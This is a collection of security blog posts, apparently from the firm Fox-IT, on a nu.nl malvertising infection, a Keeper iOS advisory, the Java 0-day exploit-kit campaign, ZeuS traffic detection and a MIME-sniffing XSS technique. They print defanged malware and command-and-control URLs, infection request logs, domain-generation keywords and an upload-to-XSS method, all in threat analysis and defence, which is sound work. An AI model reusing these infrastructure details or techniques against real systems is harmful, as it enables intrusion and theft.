Geïnfecteerde advertenties op nu.nl

Fox-IT houdt voor haar klanten de netwerkbeveiliging in de gaten. Hierbij zijn op 5 juni tussen 10:42 en 15:34 besmettingen geconstateerd van klanten die nu.nl bezochten. Er zijn waarschijnlijk meer Nederlanders besmet na een bezoek aan nu.nl.

De infectie werd verspreid via advertenties. De oorzaak is een advertentieserver die op nu.nl adverteerde. De software om advertenties te tonen was waarschijnlijk gecompromitteerd.

Geïnfecteerde bezoekers zijn besmet met een vernieuwde versie van de banking malware ZeuS. De malware wordt nog door slechts 2 van de 47 virusscanners opgemerkt.

Wat kunt u doen?

Indien u op 5 juni nu.nl heeft bezocht is het raadzaam uw computer te controleren op de malware. De malware laat bestanden achter in de “Application Data” folder die worden opgestart bij het aanzetten van de computer. Controleer of er onbekende programma’s worden opgestart.

Indien u beschikt over proxy logs controleer dan of uw gebruikers naar 195.3.147.191 zijn geweest, dit is het IP-adres vanaf waar de malware is verspreid.

Besmette computers verbinden op 67.211.197.91 en 91.223.88.144 om commando’s op te halen.

 

Yonathan Klijnsma and Lennart Haagsma

Gedetailleerde analyse van het Fox-IT Security Operations Center:

Nu.nl article loaded advertisement from a provider with a compromised OpenX install, one particular example:

hxxp://www.nu.nl/binnenland/3492596/lam-met-twee-gezichten-overleden.html

The advertisement was loaded from:

hxxp://<removed> .com/www/delivery/afr.php?zoneid=17

This then served a redirect to an exploit kit called “Sweet Orange Exploit Kit”

"GET hxxp://extraprimarilyfurious .biz/sites/directadmin/demos/skins.php?mediakit=22 HTTP/1.1" - - "hxxp://<removed> .com/www/delivery/afr.php?zoneid=17"

As seen from the referrer the advertisement provider redirects to the exploit kit located at extraprimarilyfurious .biz

This then GETs from its own page to get payload information using a java exploit from the main landing page:

"GET hxxp://extraprimarilyfurious .biz/sites/directadmin/demos/yclZU HTTP/1.1" - - "-" "Mozilla/4.0 (Windows XP 5.1) Java/1.5.0_18"

After a successful java exploit the binary is obtained:

"GET hxxp://syncplicitysoap .biz/texis.php?html=296&down=123&honda=4&humor=683&fedora=171&lang=448&wifi=712&flex=748&class=410&guestbook=335053624 HTTP/1.1"

The binary is crypted when downloaded and is decrypted by the java code, in this case it is a loader which talks to a Russian domain to get the ZeuS malware binary.

When Zeus starts it connects to the CnC serving the configuration:

"POST hxxp://puuji.travestieurope .org/amob/ad03928/cfg/config.php HTTP/1.1"

After retrieving its config the malware starts doing periodical checkins to its main CnC to retrieve commands:

"POST hxxp://elbaroni .com/amob/ad03928/global.php HTTP/1.1"

These files are left on the sytem:

C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\tmp<random1>.bat
C:\Documents and Settings\Administrator\Application Data\<random2>\<random3>.cax
C:\Documents and Settings\Administrator\Application Data\<random4>\<random5>.exe

These programs are started at boot:

C:\Documents and Settings\Administrator\Application Data\<random4>\<random5>.exe
C:\WINDOWS\system32\cmd.exe /c "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\tmp<random1>.bat"

Security advisory: Unencrypted storage of confidential information in Keeper® Password & Data Vault v5.3 for iOS

Summary

Fox-IT’s penetration testing team discovered a critical vulnerability in version 5.3 of the “Keeper® Password & Data Vault” app for iPhones, iPods touch and iPads.

An update was released today that is said to resolve the issues that we identified.

We urge all users of this application to install this update as soon as they can, because user information that the app is meant to protect, including the user’s master password, was found to be stored unencrypted.

The full advisory (that includes all technical details) can be found below.

Description: Unencrypted storage of confidential information
Affects:     Keeper® Password & Data Vault v5.3 for iOS
Vendor:      Callpod Inc. / Keeper Security Inc.
Tested on:   iOS 6.1 & iOS 6.1.2
Severity:    Critical
Discovery:   Paul Pols / Fox-IT
Reported:    18-March-2013 17:12 CET
Resolved:    04-April-2013, according to the vendor’s legal counsel
Published:   05-April-2013 16:33 CET

Background

Keeper® Password & Data Vault is a popular application that is used to store and access passwords and other confidential information. The iOS application is advertised to secure all confidential information with military-grade encryption (AES). Versions of the Keeper® software are available for multiple platforms including Android, BlackBerry, iOS, Windows Phone, Linux, Mac OS X and Windows.

keeper welcome masterpasswordstatement

Problem Description

Version 5.3 of the Keeper® Password & Data Vault application for iOS has been found to perform various POST-requests to keeperapp.com and/or keepersecurity.com using SSL/TLS that contain confidential information. The unencrypted content of this traffic is subsequently stored as local cache on the file system of the device. The confidential information that is posted and cached amongst others includes the unencrypted version of the master password and the content of entries that are stored within the application.

mysqlitedb560

More specifically, the Keeper® Password & Data Vault application folder was found to contain SQLite3 database files in the following subdirectory /Library/Caches/D4D2433BGC/. This directory is used to store the application’s cache. The confidential information can be retrieved from the table cfurl_cache_response in the SQLite3 database or directly from the file Cache.db-wal. These unencrypted cache files are persistent across reboots.

Impact

By obtaining access to the file system of an iOS device, an attacker can retrieve confidential information from the Keeper® Password & Data Vault application directory. The information that can be retrieved includes the master password, e-mail address, the secret question and answer as well as the content of entries in the Keeper® Password & Data Vault application, such as URLs, usernames and passwords.

An attacker can obtain access to the file system of an iOS device by performing a jailbreak. Consequently, the confidentiality of information that is stored by version 5.3 (and possibly earlier versions) of the Keeper® Password & Data Vault application is at risk on iOS devices that can be jailbroken. Any iPhone, iPod touch and iPad running an iOS version up to 6.1.2 can generally be jailbroken.

Vendor response

Fox-IT has reported the vulnerability in Keeper® Password & Data Vault to Keeper Security Inc. within 24 hours of its initial discovery. Unfortunately, Keeper Security Inc. has refused to constructively engage in a responsible disclosure procedure and has requested all further communication to be addressed to the company’s legal counsel.

Keeper Security Inc’s legal counsel has since notified Fox-IT that “that the issue raised […] has been addressed and resolved in the new version of Keeper (Version 6.0) which is available on the App Store”. However, the description of the update on the App Store does not specify this version resolves any security issues. Fox-IT was also notified that the public disclosure of the issues that are described in this advisory may be met with swift legal action.

Our mission at Fox-IT is to make technical and innovative contributions for a more secure society. Given the lack of public information regarding the risks that are associated with the previous version of the application, we regard it as our responsibility to publish a detailed advisory. This will allow the affected users to take protective measures to prevent their confidential data from being compromised (further).

Solution

All confidential information that is stored on the device should be encrypted using the master password. If confidential data is stored in a remote location for backup purposes, the copy of the confidential data should also be encrypted using the master password, which should exclusively be known to the user and should not be posted or stored as such. By encrypting the confidential information that is posted to Keeper Security Inc. with the master password, the unencrypted local storage of confidential information would also be prevented.

The caching of traffic that is generated by Keeper® Password & Data Vault appears to be the result of using NSURLRequest without correctly specifying that the content of requests should not be cached. The related key ‘WebKitOfflineWebApplicationCacheEnabled’ in /Library/Preferences/D4D2433BGC.plist was found to be set to ‘true’. The unencrypted local caching of data may be prevented altogether by overriding the NSURLConnection delegate connection:willCacheResponse: and return nil. The suggested cause and solution could not be verified by Fox-IT, since Keeper Security Inc. has refused to cooperate with our investigation.

Recommendation

The local cache directly affects the confidentiality of information that is stored using version 5.3 of the Keeper® Password & Data Vault iOS application. Users of the Keeper® Password & Data Vault for iOS are therefore recommended to update the application to a version that solves the described issues or to use an alternative password manager. The risk that is posed by the unencrypted local storage of confidential information can in part be mitigated by updating the iOS operating system to a version that cannot be jailbroken and setting a device passcode, as this may temporarily prevent an attacker from obtaining access to the file system of a device.

The presence of unencrypted confidential information in the local cache of the Keeper® Password & Data Vault application indicates that an unencrypted copy of the confidential data was posted to a server that is operated by Keeper Security Inc. While the content of the confidential information is secured during transport using SSL/TLS, Keeper Security Inc receives the content of its users’ confidential information in an unencrypted form. It remains unknown which server side security measures Keeper Security Inc. has implemented to protect this information after it has been received. Consequently, the confidentiality of this information is not guaranteed from the perspective of a user. Users are therefore recommended to change any confidential information that has been entered into the affected version of the application, insofar as that is possible.

Please note that Fox-IT has not tested whether older versions of the Keeper® Password & Data Vault application and/or whether earlier iOS versions are affected by the described vulnerability. Furthermore, Fox-IT has not tested if versions of the Keeper® applications on other platforms have also posted their users’ unencrypted confidential information to Keeper Security Inc using SSL/TLS. Lastly, Fox-IT has not verified whether version 6.0 of Keeper® Password & Data Vault for iOS solves the issues that are described in this advisory.

References

Details regarding the correct usage of NSURLConnection, NSURLRequest and NSURLCache can be found here:

Using NSURLConnection: https://developer.apple.com/library/mac/#documentation/Cocoa/Conceptual/URLLoadingSystem/Tasks/UsingNSURLConnection.html

Caching & NSURLConnection: http://blackpixel.com/blog/2012/05/caching-and-nsurlconnection.html

NSURLCache: http://nshipster.com/nsurlcache/

NSURLCache and disk-caching: http://petersteinberger.com/blog/2012/nsurlcache-uses-a-disk-cache-as-of-ios5/

RFC 2616: http://www.w3.org/Protocols/rfc2616/rfc2616-sec13.html#sec13

Demystifying Pobelka

A technical intelligence report on the Pobelka botnet operation. January 11, 2013

This technical report describes the Pobelka botnet and puts it in the context of global malware operations. Fox-IT’s InTELL unit provides reports like this on a continuous basis to customers in the financial sector so they know who’s targeting their online banking systems and can prepare countermeasures. This report is classified as public.

Key takeaways of the report are:

  • The initial Dutch report on Pobelka by Surfright and Digital Investigation presents a good view on the Pobelka botnet. The report you are reading contains additional technical details on the botnet and answers some of the questions left by the original report.
  • This report provides a broader context in the ecosystem of botnets, Trojans, exploit kits, and the markets where infected computers are traded.
  • This report details the identity of the people running the Pobelka botnet as well as a description of the origin of the botnet and the common methods of communication used.
  • The Pobelka botnet is one of many botnets active in the Netherlands. Unfortunately it’s not an exceptionally large or influential botnet but rather an average sized one.
  • The Pobelka botnet is just one of the many examples of how a single individual was able to attack Internet users for over a year without much resistance. This is a global issue.
  • The ease at which cybercrime services are available to criminals, makes it trivial for anyone to start in this business. The potential gains for the criminals are large, with little to no chance of successful prosecution.

The author of the report is Michael Sandee, Principal Security Analyst at Fox-IT and the Fox-IT InTELL team.

The intended audience for this report is technically savvy and familiar with botnet analysis and online banking security.

You can download a copy of the report here.

Fox-IT discovers security bugs in Oracle Software

In its latest quarterly Critical Patch Update, Oracle has acknowledged and repaired two security bugs identified by Sjoerd Resink, Senior IT Security Expert at Fox-IT.

The bugs were discovered during one of Fox-IT’s penetration testing assignments in version 10.1.4.3 of Oracle Application Server’s Single Sign-On component.

The first security issue, numbered CVE-2012-3175 by the Common Vulnerabilities and Exposures index, is rated as a 4.3 CVSS risk by Oracle and would allow an attacker to use web applications based on Oracle Application Server as an “open redirect”, i.e. to abuse the public’s confidence in a site to send people a link to a trusted website that would actually result in an automatic redirect to another, potentially malicious, web site. Attackers could also abuse such a vulnerability in specifically targeted phishing attacks (“spear phishing”).

The second bug (CVE-2012-0518), is actually a collection of three “Cross-Site Scripting” or XSS vulnerabilities in Oracle Application Server. It is also risk-rated at 4.3 by Oracle but is potentially more serious (in our opinion, the CVSS vulnerability scoring system tends to under-rate XSS issues). By sending people specially-crafted links to a web application based on Oracle Application Server, attackers can run Javascript code in the context of the vulnerable application. This means that an attacker can control how an application looks, and what an application does, if a user goes to the application through the attacker’s malicious link. It enables attackers to obtain passwords and/or take control of user sessions in the application in whatever way (s)he chooses.

One of the XSS issues is also undetected by Microsoft Internet Explorer’s XSS filtering feature. Another of the 3 XSS issues we reported to Oracle appears to have been first discovered in 2009 by the “Hackers Center Security Group” because it is described accurately on this web page.

Fox-IT recommends that all installations of web applications based on Oracle Application Server be upgraded with the latest Oracle Critical Patch Update as soon as possible.

Mogen we terugslaan?

Nederlandse overheid komt met cyberwetgeving

Terughacken als wapen tegen cybercrime kan niet zonder wettelijke basis. Het werkt wel, mits met de juiste voorwaarden omkleed en alleen als uiterst middel gebruikt, om burgers tegen cybercriminelen te beschermen. Nu is hét moment voor de politiek om problemen en oplossingen in cyberspace in kaart te brengen en zich aan een ‘zeerecht’ voor het internet te wagen, vindt directeur Ronald Prins van Fox-IT. Zijn opinie.

‘Sinds het aantreden van minister Ivo Opstelten van Veiligheid en Justitie in 2010, oefenen de diensten die verantwoordelijk zijn voor de opsporing en vervolging van cybercrime, druk uit om meer bevoegdheden te krijgen om buitenlandse internetcriminelen aan te pakken. Nu exact twee jaar later heeft de, inmiddels demissionair, minister in een brief aan de Tweede Kamer aangekondigd met cyberwetgeving te komen.’ Bij Fox-IT kijken we met belangstelling uit naar deze nieuwe wet. Want ondanks dat we vaak weten waar de buitenlandse servers staan van waaruit cyberaanvallen worden gepleegd, kunnen we nu niets doen zonder wettelijke basis. Nederland ervaart veel overlast van cybercrime. De huidige regelingen om deze groeiende vorm van criminaliteit te handhaven zijn beperkt en niet effectief genoeg om criminelen te stoppen en burgers te beschermen. Het internet is per definitie een terrein dat los van nationale grenzen staat en dat moeten we ook zo houden. Maar het mag niet betekenen dat strafbare feiten zonder consequenties gepleegd kunnen worden. Immers, de slachtoffers zijn échte mensen, met reële schade, en geen virtuele figuren in een virtuele wereld. Wetgeving, vergelijkbaar met het internationaal zeerecht, helpt burgers te beschermen en maakt cybercrime voor daders minder aantrekkelijk.

Wachten op medewerking

Het Bredolab botnet, 2010: via de servers bij een bedrijf in Nederland worden zo’n 30 miljoen geïnfecteerde computers aangestuurd door een crimineel vanuit het buitenland. De Nederlandse politie heeft dit botnet een halt toegeroepen door in te breken op de Nederlandse servers en de functionaliteit van het botnet zelf gebruikt om de besmette computers op te schonen.

Anders ligt het bij de recente uitbraak van het Dorifel-virus: de verdachten zijn niet direct op te pakken. Reden: de politie heeft niet de bevoegdheid om in de buitenlandse computers van cybercriminelen in te breken, bewijsmateriaal te verzamelen en de command and control servers onschadelijk te maken.

Met meer bevoegdheden om de acute dreiging van het recente Dorifelvirus offline te halen, had de politie dit binnen een paar uur kunnen doen. Nu heeft het stopzetten van nieuwe besmettingen dagen moeten duren. Als samenleving vinden we het onacceptabel dat gemeenten, bedrijven en overheidsinstellingen niet meer konden werken omdat het Dorifel-virus zich kon blijven verspreiden. Dit alles alleen doordat een hostingprovider in het buitenland niet direct meewerkte met het verhelpen van het probleem.

Een verzoek naar het buitenland duurt weken zo niet maanden en dat is maar één stap in het onderzoek. Informatie is vaak al weg omdat iedere willekeurige partij in ieder willekeurig land een notice and takedown kan doen of dat de crimineel zelf zijn sporen opruimt. De data op een server wordt steeds vaker versleuteld opgeslagen waardoor een kopie van een server geen tot weinig waarde heeft. Wel zijn gegevens over welke informatie de dader heeft gestolen en wat mogelijk is gebruikt/misbruikt is, alleen beschikbaar op systemen van de aanvaller. Sporen die wijzen naar de dader zijn vaak alleen te achterhalen door in zijn eigen infrastructuur in te breken.

Minister Opstelten erkent dat er behoefte is aan nieuwe regels voor grensoverschrijdende bestrijding en voorkoming van cybercrime. Hij constateert ook dat wetgeving en internationale afspraken zijn achtergebleven. Het is daarom goed te merken dat het vorige Kabinet de samenwerking wil versterken met landen die voorop lopen met cybersecurity. Zoals een aantal Europese landen, de Verenigde Staten, Australië en in Azië bijvoorbeeld Singapore. Maar concrete oplossingen zijn nog niet in zicht. Dat is misschien ook niet zo vreemd als je je bedenkt hoe gevoelig het uitgangspunt van nationale soevereiniteit in sommige landen ligt. Want hoe halen we het in ons hoofd om te gaan grasduinen in computers die in andere landen staan? Volgens mij heeft de angst hiervoor alles te maken met hoe je tegen het internet en zijn grenzen aankijkt. Als een server in de Oekraïne staat, zich alleen op Nederlandse slachtoffers richt, alleen impact in Nederland heeft en vanuit Nederland te bereiken is, dan heeft de Nederlandse justitie er meer zeggenschap over dan het land dat toevallig de stroom voor de server levert. Het is wel een vraag die je per incident goed moet stellen. Betreft het bijvoorbeeld een gehackte server van een keurig Oekraïens bedrijf, dan moet je er een stuk voorzichtiger mee omgaan. In dat geval heb je ook best een goede kans dat het bedrijf na het belletje de server onmiddellijk uitschakelt.

Moeten we andersom tolereren dat buitenlandse politiediensten op computers in Nederland rondkijken? Dat zou dan een logisch gevolg zijn. Als het bijvoorbeeld gaat om een gehuurde virtual private server van zo’n twintig euro per maand, gehuurd door een Oost-Europese criminele organisatie, dan is het verstandig dat het andere land de opsporing zelfstandig afhandelt. Het is natuurlijk wel zo prettig als er op zijn minst een notificatie naar de autoriteiten gaat, dat er een online ‘huiszoeking’ heeft plaatsgevonden.

Rechtshulpverzoeken

Het gaat om bevoegdheden die niet alleen voor Nederland gelden, maar ook de ruimte bieden om ‘niet-identificeerbare’ computers in het buitenland binnen te treden. Nederland is het eerste land dat dit zo expliciet en vergaand in de wet wil regelen. Waarom is het mogen terughacken van belang? Omdat veel digitale delicten alleen digitale sporen achterlaten. Je moet dus ‘door het internet heen kunnen kijken’ om uiteindelijk tot echte identiteit te achterhalen en een verdachte te kunnen aanhouden. Als het een Nederlands spoor betreft, komen we een heel eind. Maar zodra het bijvoorbeeld gaat om een rij aaneengeschakelde proxyservers die uiteindelijk uitkomt in de Oekraïne, ben je op dit moment zeker een aantal weken bezig met rechtshulpverzoeken.

Geen paardenmiddel

In geval van een aanval op de nationale veiligheid, bijvoorbeeld op de vitale infrastructuur in Nederland, ben ik van mening dat het soms nodig is om zonder toestemming van buitenlandse autoriteiten ‘terug te hacken’. Ik realiseer me dat dit een bijzondere bevoegdheid is. Zowel het schenden van privacy als het schenden van de soevereiniteit van andere landen zijn zorgpunten. Ik hoop daarom ook dat daarmee goed rekening wordt gehouden bij het definitief vaststellen van de wet. Het moet in mijn ogen niet zo zijn dat de politie dit paardenmiddel mag inzetten voor elk onderzoek waar het wel ‘handig’ lijkt. Het mag pas ingezet worden als afgewogen is dat minder ingrijpende middelen echt niet werken en een noodzaak voor snel ingrijpen bestaat. Het moet toch mogelijk zijn om in internationaal verband afspraken te maken over het bestrijden van cybercriminaliteit? Vergelijk het met het internationale zeerecht: als een Nederlands schip in internationale wateren wordt aangevallen, komt onze marine ook in actie. Dat zou op internationale internetterritoria ook moeten gelden.’

Ronald Prins,
Directeur Fox-IT

Observations on the recent Java 0-day exploits in the wild

Recently the Internet has been abuzz with news of an unpatched (0-day) exploit for the latest version of Java. The vulnerability is critical because it can exploit a fully patched version of Windows, Linux or Mac OS X. Also, it can do all this without users knowledge or consent. All that is needed is have Java 7 installed and a visit to a website that contains a malicious Java applet. A patch from Oracle that addresses this vulnerability may not be released until the 16th of October.

In the past week, Fox-IT detected attempts to exploit the Java vulnerability on a large scale. The perpetrators did not use the code that everyone is concentrating on. In this case some malicious JavaScript was first used to load the Java archive into the clients Java virtual machine. Subsequently, it was checked if the client was running Java 7, which is the version of Java that is vulnerable. If the system is vulnerable, it was attacked with custom exploit code. Once the jar is executed, a malicious exe is downloaded and then the computer is compromised. It is reassuring to know that even if someone attempts to compromise systems in a new way and uses a known methodology to do so, it can still be detected; as was the case here.

The executables that were dropped by the exploit code consisted of a new sample of the Hermes Trojan, and various versions of ZeuS including Citadel, Ice-IX, Gameover-ZeuS and other customized versions. Analysis of the Hermes sample, as well as the command and control servers that it was configured to connect to, has shown that the perpetrator of this attack was previously responsible for the large scale infections by Dorifel using a Citadel botnet, as described previously on our blog.

Interestingly enough, the exploit code that was used to exploit unsuspecting visitors appears to have been compiled on August 17th, which predates most known exploits for this vulnerability, even the one referenced in other blog posts related to a targeted attack using an exploit kit from East-Asian origin. The timeline makes it interesting, as it is even closer to the date that the VulnDisco Java 0-day was announced on the 10th of August. It could very well be that the vulnerability was circulating in the underground and some people picked it up along the line, or even that someone ripped it from VulnDisco.

The variety of malware that was distributed suggests this exploit kit is used as a service, which was recently discovered when large amounts of traffic were sent to it originating from compromised OpenX servers that are used for advertorial purposes. One of the compromised OpenX servers was amongst others used by OmroepWest.nl. Much more effort was put into this exploit to make sure that it would not be detected by Anti Virus products when compared to the other exploits in the wild. Additionally, the domains that were used by the exploit kit were changed frequently to avoid blacklisting and the IP addresses were often rotated as well. The domains were sub-domains of the popular DynDNS service: dyndns-at-home.com, dyndns-ip.com, dyndns.biz, dyndns.info, dyndns.org and dyndns.tv. The type and variety of malware that was distributed to various countries, suggests that it was likely that it was actively offered in the Russian-speaking underground community in the past weeks.

The unpatched Java vulnerability poses a severe security risk, as the software is widely used on systems in corporate, consumer and governmental environments. The vulnerability can be exploited to compromise Windows, Mac OS X and Linux systems. Given the amount of systems that can be affected, the readily available exploit code and the expectation that the vulnerability will not be patched for a significant amount of time, it is only a matter of time before this vulnerability will be exploited in even greater numbers. Also with the 0-day exploit having been added to the most popular exploit kit out there, Blackhole, we expect that the exposure of systems will become even higher as will the success rate of exploitation.

To protect oneself it is recommended to uninstall Java, unless it is used for tasks that are essential. In those cases, it is recommended to disable Java in the web browsers that are installed on the system. References to guides how to disable Java in some of the most used browsers: ChromeFirefoxSafari.

Update 31-8: Oracle has issued an update to Java 7 which addresses the vulnerability. More details here.

Update 3-9:  The earlier mentioned compilation date of the 17th of August was not related to the actual 0day exploit directly, we shared the samples with the industry and Moshe Basanchig from Trustwave responded that the earlier files found, only appeared to exploit CVE-2012-1723, and not CVE-2012-4681. All Jar files were exploiting CVE-2012-1723 and used the same obfuscator and had similarities due to the CVE-2012-1723 exploit and referenced ProtectionDomain, hence my confusion. Only the files from the 27th of August and onward exploited CVE-2012-4681 for 1.7 versions of Java and CVE-2012-1723 for other versions. Thanks to the excellent practical analysis of Immunity’s Esteban Guillardoy  it was easy to verify. Sorry for any confusion this might have caused.

It is interesting as the exploit kit appeared to gain traction on the 22nd of August and has distributed a large variety of malware which we expected to be related to the java 0day exploit, but it is not. While this exploit kit is definitely of a managed variant it also has some different properties. For example, another centrally managed exploit kit commonly referred to as Redkit, allows one to upload an executable and send traffic (visitors) to the exploit kit. The individual customers are differentiated using a numbered file which corresponds to the customer account and after successful exploitation the relevant customer malware is installed. Also the Bomba exploit kit (2010) and Incognito exploit kit (2011) are references of this type of service.

In this case however there is no distinguishing of customers to the exploit kit, all traffic has an identical landing page, and the only difference being made is the geo-location and relevant malware offered for that country is installed. This type of service is called a loads service where a customer pays for an X amount of infections for a certain country or list of countries. Another example of such a loads service was the Bredolab related loads service in 2010, which had huge volumes of traffic being converted into infected systems.

Still I am surprised by the amount of different malware that has been distributed by this service using dyndns domains, since it was only recently started, so it remains a mystery to me why it is suddenly so popular. The seemingly randomly generated domains which lead to this exploit kit are generated by a javascript domain generator which used a set of keywords and selects 4 keywords based on input parameters which are Hour, Day, Month and Year. The domain generator which was in use, is no longer used at this moment as the domains are not active.

The keywords used:
fox v junk five n r man out yes u qw solve but ea x im low zero go one too seven zeta do four key dry nine wide park hi a echo six two code

Generated domains:
date: 0:00 28-8-2012
domain: hxxp://foxwidecodea .dyndns-at-home .com
date: 1:00 28-8-2012
domain: hxxp://vparkfoxecho .dyndns-at-home .com
date: 2:00 28-8-2012
domain: hxxp://junkhivsix .dyndns-at-home .com
date: 3:00 28-8-2012
domain: hxxp://fiveajunktwo .dyndns-at-home .com
date: 4:00 28-8-2012
domain: hxxp://nechofivecode .dyndns-at-home .com
date: 5:00 28-8-2012
domain: hxxp://rsixnfox .dyndns-at-home .com
date: 6:00 28-8-2012
domain: hxxp://mantworv .dyndns-at-home .com
date: 7:00 28-8-2012
domain: hxxp://outcodemanjunk .dyndns-at-home .com
date: 8:00 28-8-2012
domain: hxxp://yesfoxoutfive .dyndns-at-home .com
date: 9:00 28-8-2012
domain: hxxp://uvyesn .dyndns-at-home .com …

The last domain in the list can be seen in the wireshark traffic log as seen in the blog, with a matching timestamp.

Barry Weymes, Michael Sandee et al.

How to find malicious communication leaving your network

Most Zeus trojan infections use HTTP for communication. There are however versions of Zeus that use P2P technology, but they are the exception. Once a computer is infected, Zeus must connect to the command and control (CnC) server for settings and instructions. The usual way of doing this is to use a HTTP POST.

When Zeus uses HTTP, it leaves the referer field in the HTTP header empty. Note the “-” which is the referer field.

POST hxxp://studioustwnfor.su/dpl/nbsdus.php HTTP/1.1" - - "-" "Mozilla/4.0 
(compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET 
CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; .NET4.0C; .NET4.0E)"

The interesting thing about these malicious POST’s are that they look nothing like normal legitimate traffic. If someone was to login to a website with HTTP, such as a blog login page, the POST response has a referer field in the header. Another important thing to remember is that normally logging into a web service will only take one or two POST responses. A typical Zeus CnC communcation will be every 5 minutes at slow times and anything up to 10 every second at peak times. These two attributes together make detecting this type of communication possible.

Detecting such an anomaly is not as easy as you would think however. There are many possiblities for false positives. Online radio, SOAP, SAP, and antivirus vendors communcations are just some exceptions that need to accounted for, but it is possible after some training of the detection engines.

Detection of these malicious POST’s will also show communication for malware other than Zeus. Other malware using HTTP to communicate also don’t add a referer. For example, a fast(ish) flux dropper was changing the domain it sent data to regularly, to avoid detection but was caught because it didn’t have a referer:

"POST hxxp://195.16.89.60/insight/flourence?banner_id=
386514&yjuov=ZJRWYZFTYdsvwIwawGTZRgau0atHx3OB HTTP/1.1" - - "-"

"POST hxxp://for.quickbarber.co.uk/booking/read?page=
120&yjuov=ZJRWYZFTYdsvwIwawGTZRgau0atHx3OB HTTP/1.1" - - "-"

P.S. If you’re a malware developer, please disregard this blog post! We like detecting malicious communication, the way things are…

Barry Weymes
Security Specialist

MIME Sniffing: feature or vulnerability?

In this blog post I will describe how we turned uploading a .zip file into a Cross-Site Scripting (XSS) attack during a penetration test on a customer’s web application, by leveraging a feature of Internet Explorer (IE) called MIME Sniffing. Before I go into the details of this attack, let’s start by looking at the background of this feature.

Content-Type

Files that are served by a web server are handled by your browser. How your browser handles a file depends on the type of file that is served. For example, images are handled differently than text files. In most cases the web server specifies the correct type of file by means of the Content-Type header. However, certain (legacy) web servers specify an incorrect Content-Type. For compatibility reasons, Microsoft has a feature for Internet Explorer that attempts to determine the correct content type, regardless of what is specified by the web server. This feature is known as MIME Sniffing. One of the steps of this feature is that it compares the first 256 bytes of a file to a list of known file headers. While this feature allows users to browse the web more successfully, it also introduces an attack vector.

The old vulnerability

Several of these security issues have been described in the past, with the main focus on web applications that allow users to upload images. The algorithm for MIME Sniffing works in such a way that it tends to think it knows best. For example, when a web application allows users to upload an image and only checks the file extension, the user can upload an image.jpg that actually contains HTML code. Older versions of Internet Explorer (especially versions 6 and 7) then render the file as HTML, which opened the possibility for a persistent Cross-Site Scripting (XSS) attack. The responsibility for such an attack lies with both the web application developer and with Microsoft as vendor of the browser. Several bugs have been found and fixed within web applications and within PHP that are related to MIME Sniffing.

Microsoft’s mitigation

It is applaudable that Microsoft developed protection mechanisms for IE8 (and above) for these kinds of  security risks, such as preventing “upsniff”:

First, IE8 prevents “upsniff” of files served with image/* content types into HTML/Script. Even if a file contains script, if the server declares that it is an image, IE will not run the embedded script. This change mitigates the picture-sharing attack vector– with no code changes on the part of the server. We were able to make this change by default with minimal compatibility impact because servers rarely knowingly send HTML or script with an image/* content type.

Other new security features came in the form of support for new HTTP response headers:

X-Content-Type-Options: nosniff
X-Download-Options: noopen
 Content-Disposition: attachment; filename=untrustedfile.html

The nosniff header allows a web server to force the browser into disabling MIME Sniffing for the served file. The Content-Disposition header forces the browser to present the user with a file save dialog. When the noopen header is set, the user cannot open the file directly. The user is forced to save the file locally first, which prevents the file from being rendered in the current browser context.

The vulnerable web application

There are still some scenarios that allow for exploitation of MIME Sniffing. Let’s get back to the customer’s web application that we tested. The application was hosted on a Microsoft IIS server. It allowed users to upload files and was initially protected by a blacklist to prevent users from uploading potentially dangerous files, such as .asp files, that can result in unauthorized remote code execution. We were able to upload HTML files, which allowed for Cross-Site Scripting attacks.

We advised the following improvements to our customer:

  • Use a whitelist instead of a blacklist method, to ensure that only a limited amount of file extensions are allowed;
  • Store uploaded files outside the web root and use a secure download script that loads these files from disk and presents their contents to the user;
  • Use non-predictable filenames and change the file extension.

It is not strictly necessary to apply all of the measures mentioned above to prevent this type of attack. However, the combination of these measures may very well also offer protection against other scenarios. In this case only the first measure was applied by our customer; implementing a whitelist. The web application now allows users to upload a limited set of file extensions, such as the images types .jpg and .gif, but also a number of extensions that might be considered relatively safe, such as .zip and.csv files. This could introduce certain vulnerabilities relating to the way that the web application handles these files, but in this case we will focus on a simple scenario: a user can upload files, other users can then view or download these files.

The new vulnerability

First we upload a file with a .zip extension. It is not in fact a zip file but a text file that contains HTML and JavaScript that pops up an alert message. The uploaded file will be accessible with a URL such as:

http://www.example.com/user_uploads/myfile.zip

If we visit this URL with Internet Explorer, we are instantly presented with the alert message, indicating that the browser has run the JavaScript even though the file extension is .zip.

The Microsoft IIS web server returns .zip files with the Content-Type header application/x-zip-compressed. In contrast, Apache returns .zip files with a Content-Type header of application/zip. In that case Internet Explorer does not run the JavaScript in the file, but leads to the file save dialog. This remarkable difference can be explained by looking at the first step of the MIME type Detection Algorithm:

If the “suggested” (server-provided) MIME type is unknown (not known and not ambiguous), FindMimeFromData immediately returns this MIME type as the final determination.

The application/zip header that Apache presents to the browser is unknown to Internet Explorer, while the application/x-zip-compressed header of IIS leads the algorithm to step 2:

If the server-provided MIME type is either known or ambiguous, the buffer is scanned in an attempt to verify or obtain a MIME type from the actual content. If a positive match is found (one of the hard-coded tests succeeded), this MIME type is immediately returned as the final determination, overriding the server-provided MIME type

An example of a server-provided MIME type that is ambiguous is application/octet-stream, which we get when uploading a .csv file to our IIS web server.

As a result, the web application still left users of Internet Explorer vulnerable to persistent XSS attacks, by allowing a .csv file or a .zip file to be uploaded. This is a vulnerability that can be fixed or mitigated in the web application code, in the web server configuration and in the browser.

In regard to our customer’s web application, our initial recommendation still stands. Saving user-uploaded files outside the web root, randomizing file names and changing file extensions will prevent this type of attack. A quick workaround is to set the web server to add the MIME sniffing opt-out header:

X-Content-Type-Options: nosniff

This can be combined with the Content-Disposition: Attachment and X-Download-Options: noopen headers. Note however that nosniff doesn’t seem to be supported by IE7, so that probably leaves IE6 and IE7 vulnerable to this type of attack. I know these are relatively old browsers, but I also know they are still more frequently used than one would want them to be.

End users and system administrators can choose to disable MIME Sniffing in Internet Explorer altogether. Please note that the High security level of Internet Explorer already has this feature disabled. With MIME Sniffing disabled users who access a fake .zip file will be presented with the file save dialog.

